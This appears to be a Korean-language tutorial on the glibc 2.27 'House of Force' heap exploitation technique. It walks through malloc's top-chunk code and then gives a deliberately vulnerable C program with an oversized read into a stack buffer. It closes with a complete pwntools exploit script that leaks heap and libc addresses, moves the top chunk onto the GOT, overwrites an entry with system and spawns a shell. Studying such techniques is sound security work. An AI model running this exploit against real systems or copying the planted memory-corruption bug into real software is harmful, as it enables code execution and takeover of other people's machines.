house of force - 2
1. house of force
top_chunk의 size를 변조하여 소스 코드 내 검증 로직 우회를 통해 top_chunk를 임의의 위치로 업데이트 시킨 후
해당 주소에 메모리 할당을 받을 수 있는 취약점이다.
glibc-2.29 이상에선 패치가 되었고 테스트 환경은 glibc-2.27에서 진행하였다.
2. 코드 분석
아래 코드가 실제 malloc 시 동적 메모리 할당을 해주는 부분이다
// glibc-2.27/malloc/malloc.c:2728
/* finally, do the allocation */
p = av->top;
size = chunksize (p);
/* check that one of the above allocation paths succeeded */
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (p, nb);
av->top = remainder;
set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, p, nb);
return chunk2mem (p);
}
/* catch all failure paths */
__set_errno (ENOMEM);
return 0;
}
chunk_at_offset, chunk2mem, set_head 매크로는 다음과 같다.
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))
#define set_head(p, s) ((p)->mchunk_size = (s))
해당 상태에서 malloc 시 일어나는 과정을 분석해보면
1. p에 av-> top (탑 청크의 주소)를 넣어준다 (0x602360)
2. size에 탑 청크의 사이즈를 넣어준다 (134305)
3. 만약 size (탑 청크의 크기)가 nb(새로 요청한 크기) + 청크의 MINSIZE 보다 크다면 조건문을 진입힌다.
==> 탑 청크의 사이즈가 모자를 경우 실패
4. remainder_size 에 size(top chunk size) - nb(새로 요청한 크기) 크기를 넣어준다 => Top_Chunk 업데이트 사이즈
134305 - 0x200 = 0x20AA1
5. remainder에 p (top_chunk_addr) + nb (새로 요청한 크기) 주소를 넣어준다 => Top_Chunk 업데이트 주소
0x602360 + 0x200 = 0x602560
6. av -> top = remainder 이 부분에서 현재 사용중인 malloc_state 의 top 즉, Top_Chunk의 주소를 변경해준다
av -> top = 0x602560
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
7. set_head를 통해 p(새로 요청된 청크)의 mchunk_size를 nb 값을 넣어준다
p -> mchunk_size = 0x200
8. set_head를 통해 remainder(Top_Chunk)의 mchunk_size에 remainer_size(Top_Chunk_size - nb) 값을 넣어준다.
top_chunk->size = 0x20aa1
9. 새로 할당된 p 청크를 반환한다
top_chunk_size = 0x20a91 이며 탑 청크와 새로 할당된 청크의 헤더 사이즈(0x20)을 뺀 값이다
3. 취약점
만약 nb (새로 할당 사이즈)가 0xffffffffffffeee0(-4384)가 되면 어떻게 되나
remainder = chunk_at_offset (p, nb);
remainder은 업데이트 될 top_chunk의 주소이다.
그런데 해당 값이 nb 값으로 인해 변조될 경우 malloc 이후에 top_chunk의 값 변조가 가능하다
따라서 해당 로직을 우회한다면 nb 값이 얼마가 되든 malloc이 수행되고 top_chunk는 원하는 주소로 변조시킬수 있다.
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
그러므로 hof 취약점은 top_chunk_size를 변조할 수 있을때 가능한 취약점이다.
첫 번째 malloc(0x100)이다
두 번째 malloc 수행 전 top_chunk_size를 -1로 변조하여 조건문에서 top_chunk_size(-1) > nb(0xffffffffffffeee0) + MINSIZE조건이 참이 되도록 하였다
이대로 malloc 수행 시
remainder_size = Top_Chunk_size는 0xffffffffffffffff - 0xffffffffffffeee0 = 0x111F
remainder = Top_Chunk_address 는 0x602360 + 0xffffffffffffeee0 = 0x601240
가 될것이다
힙 영역을 벗어나 data 영역(0x601250)에 top_chunk가 자리를 잡게 되었다.
이제 여기서 정상적인 malloc(0x100) 수행 시 임의의 주소에 동적 메모리 할당이 가능하다.
4. 실습
hof를 이용해 쉘을 따는 익스플로잇을 해보겠다
작성한 코드를 사용하겠다.
got overwrite 방식으로하기 위해 partial relro 설정
// gcc -o hof hof.c -Wl,-z,relro,-z,lazy
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MAX_ALLOCATE 10
void init() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
}
char *ptr[MAX_ALLOCATE];
void create_paper(int idx) {
char content[0x40] = {0};
int size;
printf("Enter size : ");
scanf("%d", &size);
if(idx > 10) {
printf("Full ptr...");
exit(0);
}
ptr[idx] = malloc(size);
if(ptr[idx] == NULL) {
printf("Memory allocation Fail \n");
exit(1);
}
printf("write content : ");
read(0, content, 0x100);
// strncpy(ptr, content, size);
memcpy(ptr[idx], content, strlen(content));
printf("Allocate Success\n");
}
void print_paper() {
int num;
printf("Select Index : ");
scanf("%d", &num);
printf("%s\n", ptr[num]);
}
void delete_paper() {
int num;
printf("Delete Index : ");
scanf("%d", &num);
free(ptr[num]);
printf("Delete Success\n");
}
int main() {
init();
printf("main Addr : %p\n", (void *)main);
int ch, idx = 0;
while(1) {
printf("1. create paper\n");
printf("2. read paper\n");
printf("3. delete paper\n");
printf("4. exit\n");
printf("Select Options : ");
scanf("%d", &ch);
switch(ch) {
case 1: {
create_paper(idx);
idx++;
break;
}
case 2: {
print_paper();
break;
}
case 3: {
delete_paper();
break;
}
case 4: {
printf("bye bye~\n");
exit(0);
}
default:
printf("Invalid Number\n");
}
}
return 0;
}
from pwn import *
io = process("./hof")
elf = ELF("./hof")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
pause()
def slog(name, addr):
return success(" : ".join([name, hex(addr)]))
io.recvuntil("main Addr : ")
main_addr = int(io.recvn(14), 16)
slog("main_Addr", main_addr)
main_offset = elf.symbols["main"]
stdout_elf_offset = elf.symbols["stdout"]
stdout_libc_offset = libc.symbols["_IO_2_1_stdout_"]
pie_base = main_addr - main_offset
slog("pie_base", pie_base)
def create_malloc(size, content):
io.sendlineafter("Select Options : ", str(1).encode())
io.sendlineafter("Enter size : ", str(size).encode())
io.sendafter("write content : ", content)
def free_malloc(index):
io.sendlineafter("Select Options : ", str(3).encode())
io.sendlineafter("Delete Index : ", str(index).encode())
create_malloc(32, b"a")
create_malloc(48, b"b")
free_malloc(0)
free_malloc(1)
pause()
payload1 = b"A" * 0x38
create_malloc(32, payload1)
pause()
io.sendlineafter("Select Options : ", str(2).encode())
io.sendlineafter("Select Index : ", str(0).encode())
io.recvuntil(payload1)
heap_addr = u64(io.recvn(6) + b"\x00" * 2)
slog("heap_addr", heap_addr)
top_chunk_addr = heap_addr + 0x240 + 0x30 + 0x40 + 0x10
slog("top_chunk_addr", top_chunk_addr)
pause()
payload2 = b"A" * 0x18
payload2 += b"\xff\xff\xff\xff\xff\xff\xff\xff"
create_malloc(16, payload2)
pause()
stdout_addr_malloc = (pie_base + stdout_elf_offset) - (top_chunk_addr + 0x30)
create_malloc(stdout_addr_malloc, b"a")
pause()
create_malloc(256, b"\x60") # libc.so [stdout] symbol 1 byte offset
pause()
io.sendlineafter("Select Options : ", str(2).encode())
io.sendlineafter("Select Index : ", str(5).encode())
stdout_addr = u64(io.recvn(6) + b"\x00" * 2)
libc_base = stdout_addr - stdout_libc_offset
slog("libc_base", libc_base)
# free_got modify
free_hook = libc_base + libc.symbols["__free_hook"]
payload3 = b"A" * 0x18
payload3 += b"\xff\xff\xff\xff\xff\xff\xff\xff"
create_malloc(16, payload3)
pause()
free_got = pie_base + elf.symbols["exit"]
free_got_malloc = free_got - (pie_base + stdout_elf_offset + 0x100 + 0x20 + 0x70)
io.sendlineafter("Select Options : ", str(1).encode())
io.sendlineafter("Enter size : ", str(free_got_malloc).encode())
io.sendafter("write content : ", b"a")
pause()
system_addr = libc.symbols["system"] + libc_base
payload3 = b"A" * 0x8
payload3 += p64(system_addr)
io.sendlineafter("Select Options : ",str(1).encode())
io.sendlineafter("Enter size : ", str(200).encode())
io.sendafter("write content : ", payload3)
pause()
binsh_offset = next(libc.search(b"/bin/sh\x00"))
binsh = libc_base + binsh_offset
create_malloc(16, p64(binsh))
pause()
io.sendlineafter("Select Options : ", str(3).encode())
io.sendlineafter("Delete Index : ", str(8).encode())
pause()
io.interactive()
got overwrite를 통한 쉘 획득
free_got => system_got